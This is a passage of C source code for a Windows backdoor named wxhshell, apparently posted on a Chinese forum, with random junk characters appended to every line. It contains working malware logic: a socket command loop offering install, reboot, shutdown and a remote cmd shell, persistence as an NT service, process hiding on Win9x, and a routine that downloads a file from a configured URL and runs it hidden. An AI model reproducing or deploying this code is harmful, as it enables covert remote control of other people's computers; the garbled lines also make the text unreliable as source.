    switch(cmd[0]) { Sgeh %f  
  6Pz4\uE=  
  // 帮助 'K$[^V  
  case '?': { B al`y  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |J1$= s  
    break; qz"}g/;?  
  } xipU8'ac/  
  // 安装 0CWvYC%e  
  case 'i': { 6gL #C&  
    if(Install()) e2AX0(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5Y.)("1f}f  
    else j@AIK+0Qc  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5GI,o|[s6  
    break; oK9( /v  
    } > $O]Eu!  
  // 卸载 U&g@.,Y#  
  case 'r': { $POu\TO  
    if(Uninstall()) Q0)#8Rcm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oTEL?hw5  
    else 4svBzZdr  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HCIU!4rH  
    break; |hKDvH  
    } 7!$Q;A  
  // 显示 wxhshell 所在路径 |T<_5Ik  
  case 'p': { c/:b.>W  
    char svExeFile[MAX_PATH]; K='z G*$l  
    strcpy(svExeFile,"\n\r"); /74QMx?  
      strcat(svExeFile,ExeFile); R8Wr^s>'  
        send(wsh,svExeFile,strlen(svExeFile),0); 0%32=k7O[  
    break; )~GmU9f  
    } #%pI(,o=  
  // 重启 sv2A-Dld  
  case 'b': { Q1T$k$n  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); IDad9 Bx  
    if(Boot(REBOOT)) kVuUjP6(c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fJ=0HNmX  
    else { sSr&:BOsi  
    closesocket(wsh); 5us:adm[pD  
    ExitThread(0); Z|&MKG24  
    } ^3G{|JB!+  
    break; eln)BW#  
    } HSw;^E)1  
  // 关机 [ZNtCnv  
  case 'd': { FVMD>=k  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;d@#XIS&-(  
    if(Boot(SHUTDOWN)) 'S20\hwt-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3#W T.4k  
    else { h! M  
    closesocket(wsh); B~?*?Z'  
    ExitThread(0); Fh)IgzFj  
    } 48J@C vU  
    break; -m\u  
    } Wt*cIZ  
  // 获取shell u^^vB\"^  
  case 's': { kq?Ms|h  
    CmdShell(wsh); nxO"ua  
    closesocket(wsh); )~& CvJ  
    ExitThread(0); aKJwofD  
    break; L{#IT.  
  } \J4L:.`qS  
  // 退出 t DO=P c  
  case 'x': { pg6cF  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); S~<$H y*kh  
    CloseIt(wsh); 3>3Kwc~E  
    break; D+#E -8  
    } ?L x24*5%  
  // 离开 .zr-:L5{  
  case 'q': { d}OTO10  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); -r!. 9q  
    closesocket(wsh); dydc}n  
    WSACleanup(); "0$a)4]  
    exit(1);  FK^p")i  
    break; 3(``#7  
        } `b?R#:G  
  } M5i%jZk  
  } [ieI;OG;  
jxP;>K7O  
  // 提示信息 $ux,9H'[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k}S :RK  
} goLL;AL  
  } {k(g]#pP  
hMa]B*o/-  
  return; u/UrAqw  
} @Rg/~\K  
{WJm  
// shell模块句柄 gBd]B03  
int CmdShell(SOCKET sock) <'}YyU=  
{ CVDV)#JA  
STARTUPINFO si; x!hh"x  
ZeroMemory(&si,sizeof(si)); _PPy44r2  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2"COP>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; uY0lR:|  
PROCESS_INFORMATION ProcessInfo; T!uM+6|Y  
char cmdline[]="cmd"; QER?i;-wb  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); H h4WMZJG  
  return 0; at@G/?  
} JX<)EZ!F  
&g#@3e1>  
// 自身启动模式 }?lrU.@zg  
int StartFromService(void) sm9k/(-  
{ _qU4Fadgm  
typedef struct md+nj{Ib  
{ =-tw5], L  
  DWORD ExitStatus; 3\AU 72-  
  DWORD PebBaseAddress; sXqz+z$*  
  DWORD AffinityMask; bkRLC_/d  
  DWORD BasePriority; n*o-Lo+Fe.  
  ULONG UniqueProcessId; } j<)L,  
  ULONG InheritedFromUniqueProcessId; __uA}f Zp  
}   PROCESS_BASIC_INFORMATION; _,kj:R.  
/pm]BC  
PROCNTQSIP NtQueryInformationProcess; CMe 06^U   
rr/B= O7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; XWn VgY s  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5CuuG<0  
X3(tuqmi  
  HANDLE             hProcess; {vs uPY  
  PROCESS_BASIC_INFORMATION pbi; |U~<3.:m:  
lVd^ ^T*fh  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 84$nT>c  
  if(NULL == hInst ) return 0; +2(I1  
iyN:%ofh  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 'Jiw@t<o3`  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9y6-/H ,  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,y1PbA0m  
# q~e^A b  
  if (!NtQueryInformationProcess) return 0; Qd)q([  
uOKCAqYa  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); zy?.u.4L  
  if(!hProcess) return 0; N%kt3vmQ_  
\$R_YKGf1G  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {]*c29b>  
hZdoc<  
  CloseHandle(hProcess); `CBZhI%%  
:v0U|\j8/V  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 16w|O |^<  
if(hProcess==NULL) return 0; {SOr#{1z*  
X1,I  
HMODULE hMod; lvdf^b/ j  
char procName[255]; A8xvo/n$  
unsigned long cbNeeded; f< ia(d  
>q#rw  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Ki4r<>\l{H  
F7A=GF'  
  CloseHandle(hProcess); ZLc -RM  
%}[i'rT>  
if(strstr(procName,"services")) return 1; // 以服务启动 AmvEf  
@_-hk|Nl@  
  return 0; // 注册表启动 $>G8_q  
} 'g6\CZw(#  
m];]7uB5=  
// 主模块 ,ly\Ka?zO  
int StartWxhshell(LPSTR lpCmdLine) =FlDb 5t{  
{ }bs+-K  
  SOCKET wsl; YA''2Ii  
BOOL val=TRUE; Az9?Ra;U  
  int port=0; j1^I+j)  
  struct sockaddr_in door; 1!ii;s^e  
R"4Vtww  
  if(wscfg.ws_autoins) Install(); >i_ 2OV  
>/g#lS 5  
port=atoi(lpCmdLine); P !AEf#1  
6 rh5h:  
if(port<=0) port=wscfg.ws_port; W~6EEyD%  
b v G/|U  
  WSADATA data; t 4PK}>QW  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; bhID#&  
nx@=>E+a  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   g~Z vA(`  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 56}U8X  
  door.sin_family = AF_INET; NYyh|X:m  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); gRrL[z  
  door.sin_port = htons(port); g=39C>  
X]'{(?Ch  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { T,7Y7c/3V  
closesocket(wsl); _?<|{O  
return 1; 7zA'ri3w  
} 8R2QZXJb-  
Jy^u?  
  if(listen(wsl,2) == INVALID_SOCKET) { cU RkP`  
closesocket(wsl); "/)#O~  
return 1; Diy8gt  
} 2!0c4a^z  
  Wxhshell(wsl); ;ZH3{  
  WSACleanup(); yaD~1"GA'O  
U [*FCD!~  
return 0; qT ,Te  
fg s!v7  
} 5"^en# ?9  
: imW\@u  
// 以NT服务方式启动 j:<n+:H C  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *Y,x|F  
{ U(a#@K !H  
DWORD   status = 0; .+qQYDE w  
  DWORD   specificError = 0xfffffff; Fa?~0H/DL  
yQU_>_!n  
  serviceStatus.dwServiceType     = SERVICE_WIN32; FO=4:   
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; mN~ci 0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3) 8QS  
  serviceStatus.dwWin32ExitCode     = 0; ?<V?wsp  
  serviceStatus.dwServiceSpecificExitCode = 0; b$4"i XSQ  
  serviceStatus.dwCheckPoint       = 0; XnDUa3  
  serviceStatus.dwWaitHint       = 0; K:!"+q  
V\{clJ\U  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~s% Md  
  if (hServiceStatusHandle==0) return; 'U1R\86M  
ADS9DiX/  
status = GetLastError(); OSlvwH%(EE  
  if (status!=NO_ERROR) Y ?S!8-z  
{ %Qc La//  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Hcl(3> Jn2  
    serviceStatus.dwCheckPoint       = 0; K$>%e36Cc  
    serviceStatus.dwWaitHint       = 0; 5Ec6),+&  
    serviceStatus.dwWin32ExitCode     = status; {F3xJ[  
    serviceStatus.dwServiceSpecificExitCode = specificError; p rYs $j  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); oT^{b\XN  
    return; LISM ngQ.  
  } ./,/y"x  
JF # # [O  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; mZk]l5Lc  
  serviceStatus.dwCheckPoint       = 0; ,ek_R)&[o  
  serviceStatus.dwWaitHint       = 0; D6%J\C13`  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); c0PIc^R(@  
} ?h.wK  
TX$r `~  
// 处理NT服务事件,比如:启动、停止 }#.L7SIJ<J  
VOID WINAPI NTServiceHandler(DWORD fdwControl) K&bzDzd`  
{ #,,d>e  
switch(fdwControl) [ad@*KFxy3  
{ aAJU`=uq  
case SERVICE_CONTROL_STOP: OTy.VT|  
  serviceStatus.dwWin32ExitCode = 0; IzsphBI  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Inn@2$m~  
  serviceStatus.dwCheckPoint   = 0; txW{7+,  
  serviceStatus.dwWaitHint     = 0; Q?e*4ba  
  { QOjqQfmM;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qLw{?sH}J/  
  } { D^{[I  
  return; _]yn"p  
case SERVICE_CONTROL_PAUSE: HIQ _%L4]  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 8JM&(Q%#  
  break; 8C[C{qOJ  
case SERVICE_CONTROL_CONTINUE: nTuJEFn{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; IAYR+c  
  break; 2HpHxVJ  
case SERVICE_CONTROL_INTERROGATE: vk+VP 1D  
  break; k,'L}SK  
}; 87Oad@FOr  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); m6TNBX  
} Du`JaJI  
BbW^Wxd3  
// 标准应用程序主函数 @{YS}&Q/  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `4(e  
{ #,7e NM"  
g}f`,r9  
// 获取操作系统版本 {6"Ph(I1  
OsIsNt=GetOsVer(); "{tg8-a4)  
GetModuleFileName(NULL,ExeFile,MAX_PATH); H$@`,{M629  
k40* e\  
  // 从命令行安装 b vS(@  
  if(strpbrk(lpCmdLine,"iI")) Install(); afv~r>q(-  
B-.gI4xa  
  // 下载执行文件 AmaT0tzJC  
if(wscfg.ws_downexe) { ]e^c=O`$  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |zR8rqBX;  
  WinExec(wscfg.ws_filenam,SW_HIDE); 3 DDML,  
} vI2^tX 9  
j/>$,   
if(!OsIsNt) { $>GgB`  
// 如果时win9x,隐藏进程并且设置为注册表启动 d{XO/YQw  
HideProc(); |(pRaiJ  
StartWxhshell(lpCmdLine); %<E$,w>  
} e<=cdze  
else [onGNq?#  
  if(StartFromService()) lp<g \  
  // 以服务方式启动 Av"R[)  
  StartServiceCtrlDispatcher(DispatchTable); T^w36}a  
else LJ*q1 ;<E  
  // 普通方式启动 p89wNSMl[  
  StartWxhshell(lpCmdLine); WKT4D}{1  
`wus\&!W  
return 0; 3D` YZ#M  
}
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只看该作者 1 发表于: 2006-10-10
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